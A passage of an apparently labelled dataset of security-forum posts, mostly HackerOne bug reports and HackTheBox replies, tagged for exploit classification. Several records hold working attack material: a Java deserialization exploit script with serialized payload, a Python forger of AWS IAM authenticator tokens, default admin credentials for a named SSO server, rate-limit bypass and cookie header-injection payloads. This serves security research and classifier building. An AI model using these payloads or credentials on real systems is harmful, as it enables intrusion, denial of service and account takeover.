Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n\n\n**Workarounds**\nIn general, given the proliferation of ReDoS attacks, it makes sense to limit the length of the user input to something sane, like 200 characters or less. I haven't seen legitimate cases of date-time strings longer than that, so all moment users who do pass a user-originating string to constructor are encouraged to apply such a rudimentary filter, that would help with this but also most future ReDoS vulnerabilities.\n\n**Details/References**\nThe issue is rooted in the code that removes legacy comments (stuff inside parenthesis) from strings during rfc2822 parsing. `moment(\"(\".repeat(500000))` will take a few minutes to process, which is unacceptable. There is an excellent writeup of the issue here: [moment/moment#6015 (comment)](https://github.com/moment/moment/pull/6015#issuecomment-1152961973)\n\n## Impact\n\nCVE-2022-31129\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n[GHSA-wc69-rhjr-hc9g](https://github.com/moment/moment/security/advisories/GHSA-wc69-rhjr-hc9g)\n\n  * using string-to-date parsing in moment (more specific", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-31129"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e50155eb4580cb12c28d", "text": "[Open Redirect] Open Redirection\n\n## Summary:\nHi jetblue Security Team.\n\nThe following URL is vulnerable to an open redirect (it will redirect to google.com):\n- https://█████_https@google.com\n\nWork at Google Chrome & Other Browser \nExcept Firefox will ask you first if you want to redirect to that page , See:-\n\n█████████\n  \n##What is Open Redirect:-\nOpen redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain. This behavior can be leveraged to facilitate phishing attacks against users of the application. The ability to use an authentic application URL\n\nSupporting Material/References:\n-https://blog.detectify.com/2019/05/16/the-real-impact-of-an-open-redirect/\n-https://medium.com/@0xrishabh/open-redirect-to-account-takeover-e939006a9f24\n\n## Steps To Reproduce:\n1. Go to  https://████_https@google.com\n2. Redirect to google.com\n\n## Impact\n\nOpen Redirection", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f2a5e59b646082ed6eed", "text": "[Insecure Direct Object Reference (IDOR)] Steal private objects of other projects via project import\n\n### Summary\nAn attacker could transfer issues, merge requests of another project to the imported project by importing a crafted GitLab export. \n\n### Steps to reproduce\n1. Import the attached tarball as GitLab export.\n2. Check the issues page of the imported project. You will see an private issue created by https://gitlab.com/nyangawa-h1 instead of the current user.\n\n### Description\nThe exploit is in project.json, I added one line to assign `issue_ids` and kept `issues` an empty array.\n```\n    \"issue_ids\": [ 27422144 ],                                                 \n    \"issues\": [],  \n```\n\nThe issues_ids contains the database id of the issues the attacker wants to steal. There's no good way for the attacker to know the id of a specific issue, but as the id is incremental, the attacker could simply steal as many issues as possible in a brute forcing manner.\n\nThe root cause of this issue lies in `project_tree_restorer.rb`\n```\n...\n@project.assign_attributes(project_params)\n...\n```\n\nMany attributes (foreign key) like `issue_ids` and `merge_request_ids` are not excluded during import. According to my observation, affected objects including (but not limited to):\n```\nboard_ids\nissue_ids\nmerge_request_ids\nnote_ids\n...\n```\nLooks like almost all non-excluded attributes behaves like `issues` are affected.\n\n### Examples\n\n{F640860}\n\n### Output of checks\n\nThis bug happens on GitLab.com and self-hosted GitLab installations.\n\n## Impact\n\nWith this ability to modify relations between objects, an attacker could end up with accessing random resources of other users by traversing the incremental ID space.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d33d9dc61ee516e71e3e", "text": "[Improper Access Control - Generic] Missing rate limiting on password reset functionality allows to send lot of emails\n\nOn next cloud after signing up\nYou can reset your password here : https://support.nextcloud.com/#password_reset\nThe mail you will get will redirect you to a website named Wokli.\nAnd there you can also reset password using : https://ppp.woelkli.com/login\n\nHere you can bypass the rate limit using IP rotate extension of burp suite.\n\nSteps to reproduce:\n 1. Go to https://ppp.woelkli.com/login\n2. Enter your mail and click on reset password and intercept the request. The request will be something like this \n\nPOST /lostpassword/email HTTP/2\nHost: ppp.woelkli.com\nCookie: __Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true; oc_sessionPassphrase=YbNqNZBiBLj69oHQyf2o9Kcd9jlMXTrBm1Wv0xyF7aY4VI6t%2FTizoufLy8m0lU%2BHZ%2F0mCRK%2FC6VSZYjmztLv%2FQfYbjZxKVA0GtwP2q80D744o7CztCkWEtjQpvBK7jtX; ock6rp1oyjad=44hbnjo8uc6jjih95vtvie80kc\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:103.0) Gecko/20100101 Firefox/103.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json;charset=utf-8\nRequesttoken: elTOLCp7a4nWX2tjz/8iSI1fDGEd8Qfqi5GpX/RNPlM=:LX++HX0TDvGabxMXp4taJ9cUVSlvq2XTvaTlHrUOByk=\nContent-Length: 30\nOrigin: https://ppp.woelkli.com\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\n\n{\"user\":\"yougovxxx@gmail.com\"}\n\n3. Now send the request to repeater and try to resend it . After 7 to 8 tries it will give a rate limit and a response code of 429.\n4. To bypass it login to your IP rotate and send the above request to intruder and and turn ON IP rotate and set the intruder to null payloads.\n5. You will get lots of emails of reset password.\n\n\nSolution: \nI Will Recommend You To Add A ReCaptcha & Sort Of Something Which Requires Manual Human Interaction To Proceed Like You Can Add Captcha Like 2+2=___ so that it cannot be brute forced and you also can have a limit at the backend for particular number upto 5 times a day user can request Forget Password Email or Link something like that will prevent you from someone exploiting this vulnerability\n\n## Impact\n\nIf You Are Using Any Email Service Software API Or Some Tool Which Costs You For Your Email This Type Of Attack Can Result You In Financial Lose And It Can Also Slow Down Your Services It Can Take Bulk Of Storage In Sent Mail Although If Users Are Affected By This Vulnerability They Can Stop Using Your Services Which Can Lead To Business Risk", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b1b067f2a9f357fa5c1a", "text": "[Information Disclosure] insecure gitlab repositories at ████████ [HtUS]\n\n**If you click the link https://███, you're redirected to https://██████/users/sign_in, where credentials have to be inserted. \nThe repositories are private and shouldn't be accessable for unauthenticated users!**\n\n### POC\n\n* If you click the following links https://████/api/v4/projects, information about internal projects and users is leaked\n\n* I just take projectid: 4667 as an example for the information disclosure\n```\n{\"id\":4667,\"description\":\"This Network-graph based literature review tool uses the open-source version of Neo4j (https://neo4j.com/) with Jupyter Notebooks written in Python to import academic literature metadata from a variety of sources. \\r\\n\",\"name\":\"Graph-Based Literature Review Tool\",\"name_with_namespace\":\"Senft, Michael / Graph-Based Literature Review Tool\",\"path\":\"graph-based-literature-review-tool\",\"path_with_namespace\":\"██████████/graph-based-literature-review-tool\",\"created_at\":\"2021-10-19T12:47:16.550-07:00\",\"default_branch\":\"master\",\"tag_list\":[],\"topics\":[],\"ssh_url_to_repo\":\"git@██████:████/graph-based-literature-review-tool.git\",\"http_url_to_repo\":\"https://████████/███████/graph-based-literature-review-tool.git\",\"web_url\":\"https://████████/████████/graph-based-literature-review-tool\",\"readme_url\":\"https://███/███/graph-based-literature-review-tool/-/blob/master/README.md\",\"avatar_url\":\"https://████/uploads/-/system/project/avatar/4667/SchemaModel.jpg\",\"forks_count\":0,\"star_count\":1,\"last_activity_at\":\"2022-01-31T08:48:54.473-08:00\",\"namespace\":{\"id\":1306,\"name\":\"Senft, Michael\",\"path\":\"██████████\",\"kind\":\"user\",\"full_path\":\"██████\",\"parent_id\":null,\"avatar_url\":\"/uploads/-/system/user/avatar/1117/avatar.png\",\"web_url\":\"https://███/████████\"}}\n```\n\n* The source-code is accessable/readable: \nhttps://██████████/████/graph-based-literature-review-tool\nhttps://█████/███████/graph-based-literature-review-tool/-/blob/master/README.md \n\n* It can be cloned \n```\ngit clone https://███/██████████/graph-based-literature-review-tool.git\nCloning into 'graph-based-literature-review-tool'...\nremote: Enumerating objects: 198, done.\nremote: Counting objects: 100% (68/68), done.\nremote: Compressing objects: 100% (31/31), done.\nremote: Total 198 (delta 41), reused 64 (delta 37), pack-reused 130\nReceiving objects: 100% (198/198), 239.72 KiB | 503.00 KiB/s, done.\nResolving deltas: 100% (109/109), done.\n```\n\n## Impact\n\nA potential attacker has full access to user information and to the users source-code", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "61aa7e3df68904f2f8ba", "text": "[Improper Authentication - Generic] Bypass validation parts in AWS IAM Authenticator for Kubernetes\n\n## Summary:\nWhenever the aws-iam-authenticator server gets a POST request to /authenticate it extracts the token and validates it. The token's content is a signed AWS STS request to the GetCallerIdentity endpoint, where the response content is used to map to matching K8s identity (username, groups).\n\nI found several bypasses to validation parts in [AWS IAM Authenticator](https://github.com/kubernetes-sigs/aws-iam-authenticator):\n1. It is possible to craft a token **without signed cluster ID header** and use it for replay attacks.\n2. It is possible to manipulate the extracted **AccessKeyID**. Since the AccessKeyID value [can be used as part of the identity](https://github.com/kubernetes-sigs/aws-iam-authenticator#:~:text=%23%20If%20unalterable%20identification%20of%20an%20IAM%20User%20is%20desirable%2C%20you%20can%20map%20against%0A%20%20%23%20AccessKeyID.), it allows an attacker to gain hight permissions in the cluster.\n3. It is possible to send a request to other action values (not only GetCallerIdentity). Since I couldn't find a way to control the host or add other parameters to the request, the impact of changing the action is low.\n\n## Kubernetes Version:\nall versions\n\n## Component Version:\nall versions. the issue seems to be there from [first commit](https://github.com/kubernetes-sigs/aws-iam-authenticator/commit/aeac2587d437da3751f3be8eb9a79a8311d33dd1#diff-b03d5162238d36a569ac0c110484bf356f617e22967aeb1af853b02993da60b8R141).\n\n## Steps To Reproduce:\n1. Create a K8s cluster with [AWS IAM Authenticator](https://github.com/kubernetes-sigs/aws-iam-authenticator) as auth webhook.\n(I run the aws-iam-authenticator server locally on my machine using the command `aws-iam-authenticator server -c config.yaml`)\n2. You can use the python script below to generate all types of malicious tokens. change the CLUSTER_ID value before running.\n\n```python\nimport base64\nimport boto3\nimport re\nfrom botocore.signers import RequestSigner\n\nREGION = 'us-east-1'\nCLUSTER_ID = 'gaf-cluster'\n\n\ndef get_bearer_token(url, headers):\n    STS_TOKEN_EXPIRES_IN = 60\n    session = boto3.session.Session()\n\n    client = session.client('sts', region_name=REGION)\n    service_id = client.meta.service_model.service_id\n\n    signer = RequestSigner(\n        service_id,\n        REGION,\n        'sts',\n        'v4',\n        session.get_credentials(),\n        session.events\n    )\n\n    params = {\n        'method': 'GET',\n        'url': url,\n        'body': {},\n        'headers': headers,\n        'context': {}\n    }\n\n    signed_url = signer.generate_presigned_url(\n        params,\n        region_name=REGION,\n        expires_in=STS_TOKEN_EXPIRES_IN,\n        operation_name=''\n    )\n\n    return signed_url\n\n\ndef base64_encode_no_padding(signed_url):\n    base64_url = base64.urlsafe_b64encode(signed_url.encode('utf-8')).decode('utf-8')\n\n    # remove any base64 encoding padding:\n    return 'k8s-aws-v1.' + re.sub(r'=*', '', base64_url)\n\n\ndef create_mal_token_with_other_action(action_name):\n    url = f'https://sts.{REGION}.amazonaws.com/?Action={action_name}&Version=2011-06-15&action=GetCallerIdentity'\n    headers = {'x-k8s-aws-id': CLUSTER_ID}\n    signed_url = get_bearer_token(url, headers)\n\n    signed_url = signed_url.replace(f'&action=GetCallerIdentity', '')\n    signed_url += f'&action=GetCallerIdentity'\n\n    return base64_encode_no_padding(signed_url)\n\n\ndef create_mal_token_without_cluster_id_header_signed():\n    url = f'https://sts.{REGION}.amazonaws.com/?Action=GetCallerIdentity&Version=2011-06-15&x-amz-signedheaders=x-k8s-aws-id'\n    headers = {}\n    signed_url = get_bearer_token(url, headers)\n\n    signed_url = signed_url.replace('&x-amz-signedheaders=x-k8s-aws-id', '')\n    signed_url += '&x-amz-signedheaders=x-k8s-aws-id'\n\n    return base64_encode_no_padding(signed_url)\n\n\ndef create_mal_token_with_other_access_key(value):\n    url = f'https://sts.{REGION}.amazonaws.com/?Action=GetCallerIdentity&Version=2011-06-15&x-amz-credential={value}'\n    headers = {'x-k8s-aws-id': CLUS", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "aada01c08cc5f87f309f", "text": "hi there. the user to access the tomcat manager, is it tomcat or a different user? I am digging on log files and conf files accessible by user barry/group adm, but no luck", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8c78fddac96cce72e5a3", "text": "[Uncontrolled Resource Consumption] DoS in bigdecimal's sqrt function due to miscalculation of loop iterations\n\n# Vulnerability\n__Affected Product__: `bigdecimal` extension in https://github.com/ruby/ruby\n__Affected Versions__: At least version 3.2.2, I didn't test any previous versions\n\nThe current implementation of `BigDecimal#sqrt` in `ext/bigdecimal/bigdecimal.c` erroneously checks its parameter\nand allows users of the function to control how long it will run. This may lead to\na DoS if the parameter to the function can be controlled by an attacker.\n\nThe implementation of `BigDecimal#sqrt` involves a loop that iteratively calculates\nthe value of the square root:\n```c\ndo {\n    y->MaxPrec *= 2;\n    if (y->MaxPrec > y_prec) y->MaxPrec = y_prec;\n    f->MaxPrec = y->MaxPrec;\n    VpDivd(f, r, x, y);        /* f = x/y    */\n    VpAddSub(r, f, y, -1);     /* r = f - y  */\n    VpMult(f, VpConstPt5, r);  /* f = 0.5*r  */\n    if (VpIsZero(f))\n        goto converge;\n    VpAddSub(r, f, y, 1);      /* r = y + f  */\n    VpAsgn(y, r, 1);           /* y = r      */\n} while (++nr < n);\n```\nThe number of iterations is determined by the number `n`, which is derived from the\nparameter of the `sqrt` function.\nThe application tries to impose a limit on the number of iterations, as can be seen\nin line 4659:\n```c\n#define maxnr 100UL    /* Maximum iterations for calculating sqrt. */\n```\nHowever, the calculation of `n` is erroneous and uses `maxnr` as a _lower_ bound and not\nan upper bound for `n` as can be seen in line 7220:\n```c\nif (n < (SIGNED_VALUE)maxnr) n = (SIGNED_VALUE)maxnr;\n```\nThis may cause the program to have more iterations than originally intended.\n\n# Proof of Concept\nThe following ruby program iterates 10000 times instead of 100 and takes longer than 10 min to complete on my machine:\n```rb\nrequire 'bigdecimal'\nBigDecimal(\"6E19\").sqrt(10000)\n```\nFurthermore, it can be observed the ruby interpreter stalls completely. The program has to be killed with SIGKILL.\n\n# Solution\nThe following patch resolves the error:\n```diff\ndiff --git a/ext/bigdecimal/bigdecimal.c b/ext/bigdecimal/bigdecimal.c\nindex 07c2bcf0b5..31e5574574 100644\n--- a/ext/bigdecimal/bigdecimal.c\n+++ b/ext/bigdecimal/bigdecimal.c\n@@ -7217,7 +7217,7 @@ VpSqrt(Real *y, Real *x)\n     y->MaxPrec = Min((size_t)n , y_prec);\n     f->MaxPrec = y->MaxPrec + 1;\n     n = (SIGNED_VALUE)(y_prec * BASE_FIG);\n-    if (n < (SIGNED_VALUE)maxnr) n = (SIGNED_VALUE)maxnr;\n+    if (n > (SIGNED_VALUE)maxnr) n = (SIGNED_VALUE)maxnr;\n\n     /*\n      * Perform: y_{n+1} = (y_n - x/y_n) / 2\n```\nThis change maintains the correctness of the implementation. \nI have checked this against the test suite from https://github.com/ruby/bigdecimal and all the tests still pass.\n\n## Impact\n\nIf an attacker can control the parameter to `BigDecimal#sqrt` he/she can cause a ruby program to hang\nfor a long time.\nFurtermore, since the loop is inside of a function of an extension it blocks the interpreter / execution engine\nas a whole hindering the delivery of events or signals.\nAs seen above, a ruby program that is caught up in such a loop can only be interrupted by a SIGKILL signal.\nSince the bug is\n1. Easy to trigger if the necessary conditions are met\n2. Has a huge effect for relatively small input values\n\nI chose the severity medium.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "58761e3371de6602677a", "text": "ss -l -4 | tr “.” \" \" | column -t | grep LISTEN | grep -v “127” | wc -l worked for me all fine tr - replaces the dots with spaces column separates everything into columns grep then we filter LISTEN grep -v filters out 127 wc gives you your answerr", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-05-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ccddd70acf979640ce8c", "text": "can you help me in the digging in part and going depper part", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-02-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bbc1f2f72db9be820c6a", "text": "[Unknown] Default Admin Username and Password on remedysso.mtncameroon.net\n\n## Summary:\nA Remedy Single Sign-On (Remedy SSO) Server is running at https://remedysso.mtncameroon.net/rsso/admin/#/.  \nIt is possible to access the application is using the default Administrator credentials.\n\n## Steps To Reproduce:\nGo to https://remedysso.mtncameroon.net/rsso/admin/#/ and login with credentials:\n- Username: Admin\n- Password: RSSO#Admin#\n\n## Remediation\nChange the password of the Admin user or disable the account.\n\n## References\nhttps://cwe.mitre.org/data/definitions/521.html\n\n## Impact\n\nA MNT Group Single Sign-On application was misconfigured in a manner that may have allowed a malicious user to login with the administrator user. The user is capable to perform any kind of configuration of the SSO system and retrieve sensitive information about organization users and infrastructure.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "74b176a166a39eed9b76", "text": "[Unknown] CVE-2017-5929: Hyperledger - Arbitrary Deserialization of Untrusted Data\n\n## Vulnerability Overview\nSerialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.\n\nDeserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution. Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.\n\nAn attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed. Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).\n\n**System Host(s):**\nhttps://github.com/hyperledger/fabric-chaincode-java/blob/-/fabric-chaincode-integration-test/src/contracts/wrapper-maven/pom.xml\nQOS.ch Logback before 1.2.0 has a serialization vulnerability affecting the SocketServer and ServerSocketReceiver components. The RemoteStreamAppenderClient class in logback-classic and the SocketNode classes in logback-classic and logback-access allow data to be deserialized over a Java Socket, via an ObjectInputStream, without validating the data beforehand. When data is received from the Socket, to be logged, it is deserialized into Java objects.An attacker can exploit this vulnerability by sending malicious, serialized Java objects over the connection to the Socket, which may result in execution of arbitrary code when those objects are deserialized. Note that although logback-core is implicated by the Logback project here, the Sonatype Security Research team discovered that the vulnerability is actually present in the logback-classic and logback-access components. Versions prior to 1.2.0 are vulnerable, as stated in the advisory.\n\n**Exploitation code:**\n```python\nimport socket\nimport sys\n\nhost = sys.argv[1]\nport = sys.argv[2]\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nprint \"Connecting to: \" + host + \":\" + port\nsock.connect((host, int(port)))\nprint \"Connected.\"\n\npayload = '\\xac\\xed\\x00\\x05\\x73\\x72\\x00\\x2e\\x6a\\x61\\x76\\x61\\x78\\x2e\\x6d\\x61\\x6e\\x61\\x67\\x65\\x6d\\x65\\x6e\\x74\\x2e\\x42\\x61\\x64\\x41\\x74\\x74\\x72\\x69\\x62\\x75\\x74\\x65\\x56\\x61\\x6c\\x75\\x65\\x45\\x78\\x70\\x45\\x78\\x63\\x65\\x70\\x74\\x69\\x6f\\x6e\\xd4\\xe7\\xda\\xab\\x63\\x2d\\x46\\x40\\x02\\x00\\x01\\x4c\\x00\\x03\\x76\\x61\\x6c\\x74\\x00\\x12\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x4f\\x62\\x6a\\x65\\x63\\x74\\x3b\\x78\\x72\\x00\\x13\\x6a\\x61\\x76\\x61", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2017-5929"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e8639d3f0d77864b09e3", "text": "[Insecure Storage of Sensitive Information] password field autocomplete enabled\n\n## Summary:\n[Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications that employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.\nThe stored credentials can be captured by an attacker who gains control over the user's computer. Further, an attacker who finds a separate application vulnerability such as cross-site scripting may be able to exploit this to retrieve a user's browser-stored credentials.]\n\n## Platform(s) Affected:\n[both]\n\n## Steps To Reproduce:\n[follow the steps]\n\n  1. [signup with the new details]\n  1. [go to login page]\n  1. [there we will see password details are automatically filled]\n\n## Supporting Material/References:\n[none]\n\n## Impact\n\nThis autocomplete password can be sniffed without user permission", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0aab83434079754ba66c", "text": "All you have to do is actually make a short introduction on what inspired you to reverse engineer surfblocker and the steps that led you to find the fixed offset in memory of the encrypted password, and how you eventually stumbled upon using a XOR for decryption. Was it a function that was called from within the program, did you just throw shit against the wall, did a magic fairy come up from hell and give you a divine sense?I’ll tell you how I bypassed parental control when I was younger, I used ultrasurf. This was a project developed by Chinese activists that rebelled against the tyrannical ruler Hu Jintao. Mainly as a protest against the great firewall of China. The application setup encrypted tunnels to proxies out in the internet that you used as exit nodes to bypass filtering. Sound familiar?Looking forward to your read.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-01-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "738113ba1df2590d6a56", "text": "I`ve been stuck at this one for a while, I get many numbers but none are right…", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-02-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "63d41658edb40966d653", "text": "Sqlmap Cheat Sheet: Commands, Options, and Advanced Features\n\nHi, Here another nice share from StationX! Enjoy!!! Sqlmap Cheat Sheet: Commands, Options, and Advanced Features StationX – 20 Oct 22 Sqlmap Cheat Sheet: Commands, Options, and Advanced Features Use this comprehensive sqlmap cheat sheet to easily lookup any command you need. It includes a special search and copy function. Download cheat sheets here: https://drive.google.com/drive/folders/132ptAPFrhVZAV5dMMK6Jk9HSA4UJl7Du", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2023-02-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "09876d5a947a249f9b8f", "text": "[Unknown] Password reset token leak on third party website via Referer header [██████████]\n\n## Summary:\n\n██████████\n\nIt has been identified that the application is leaking referrer token to third party sites. In this case it was found that the password reset token is being leaked to third party sites which is a issue knowing the fact that it can allow any malicious users to use the token and reset the passwords of the victim.\n\n##Steps To Reproduce:\n\n1) Request a password reset link for a valid account on ████████\n2) Click on the reset link from your link\n3) Before resetting the password click on the Facebook link footer section\n4) You will notice the following request in Burpsuite\n\n## Supporting Material/References:\n\n## Impact\n\nAs you can see in the referrer the reset token is getting leaked to third party sites. So, the person who has the complete control over that particular third party site can compromise the user accounts easily.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c78fb97220fff5182fba", "text": "[Unknown] ihsinme: CPP Add a query to find incorrectly used exceptions.\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3c731e4ac894727bc51e", "text": "[Improper Access Control - Generic] Any (non-admin) user from an instance can destroy any (user and/or global) external filesystem\n\n## Summary:\n\nThere is no verification of the ownership and/or its type when deleting a user-manager external storage. \nMeaning anyone on a Nextcloud instance can destroy any (user, global) external filesystem.\nThe attacker does not need to have access to the external storage.\nThe options 'Allow users to mount external storage does not need to be enabled.\n\nWhen executing the DELETE request on /apps/files_external/userstorages/<storage_id> [1], the app will:\n- only check that the mount exists in database, without any condition based on the type of the storage and/or its owner [2]\n- remove all data from database related to the storage based on its id. [3]\n\n[1] https://github.com/nextcloud/server/blob/master/apps/files_external/lib/Controller/UserStoragesController.php#L234\n[2]  https://github.com/nextcloud/server/blob/master/apps/files_external/lib/Service/DBConfigService.php#L67\n[3] https://github.com/nextcloud/server/blob/master/apps/files_external/lib/Service/DBConfigService.php#L274\n\n\n## Steps To Reproduce:\n\n- From an admin session, create a new external storage.\n- From a non-admin session, send a DELETE request to `/apps/files_external/userstorages/<storage_id>`, replace `storage_id` by the correct id (integer) of the storage.\n- From an admin session, the created external storage is not listed anymore.\n\n## Impact\n\nFilesystem can be unmounted by anyone, I have no clue how this was not reported earlier.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a8f947e0059650580f36", "text": "[HTTP Response Splitting] CGI::Cookieクラスにおけるセキュリティ上好ましくない仕様および実装\n\n以下のCGIスクリプトについて、name、path、domainに改行、等号、改行のインジェクションが可能\n\n```\n#!/usr/bin/env ruby\nrequire \"cgi\"\ncgi = CGI.new\nname = \"name\"\npath = \"/\"\ndomain = \"example.jp\"\ncookie = CGI::Cookie.new('name' => name,\n                         'value' => \"value\",\n                         'domain' => domain,\n                        'path' => path)\ncgi.out({\"cookie\" => [cookie]}){ \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\\n\" }\n```\n(1) nameについて\nRFC2616 section-2.2 によるとCookieのnameは以下の記号および制御文字は使えないが、とくにチェックされず指定できる。\n\n> ( ) < > @ , ; : \\ \" / [ ] ? = { } \n\n例1: valueとdomain属性をインジェクション\n```\nname = \"a=b; domain=example.com;\"              # # サンプルから name = の箇所を変更\n```\n結果1\n```\nSet-Cookie: a=b; domain=example.com;=value; domain=example.jp; path=/\n```\n\n例2: 改行をインジェクション\n```\nname = \"a=b;\\r\\nLocation: http://example.com#\"                # サンプルから name = の箇所を変更\n```\n結果2（http://example.com にリダイレクト）\n```\nSet-Cookie: a=b;\nLocation: http://example.com#=value; domain=example.jp; path=/\n```\n\n(2) pathについて\nRFC6265によるとpath属性には制御文字および ; は使えないが、いずれもチェックされず指定できる。\n\n例3:セミコロンによる属性の追加\n```\npath = \"/; samesite=none\"           # サンプルから path = の箇所を変更\n```\n結果3:samesite属性を指定できる\n```\nSet-Cookie: name=value; domain=example.jp; path=/; samesite=none\n```\n\n例4: レスポンスボディのインジェクション\n```\npath = \"/;\\r\\n\\r\\n<script>alert(1)</script>\"           # サンプルから path = の箇所を変更\n```\n\n結果4: JavaScriptの注入\n```\nHTTP/1.1 200 OK\nDate: Fri, 21 May 2021 12:08:08 GMT\nServer: Apache/2.2.31 (Unix)\nSet-Cookie: name=value; domain=example.jp; path=/;\nContent-Length: 33\nContent-Type: text/html\n\n<script>alert(1)</script>\n\nxxxx\n```\n\n\n(3) domainについて\ndomain属性はホスト名またはドメイン名が許可されるが、セミコロン(;) や改行もチェックされず指定できる。影響はpath属性と同じなので例示は省力する。\n\n## 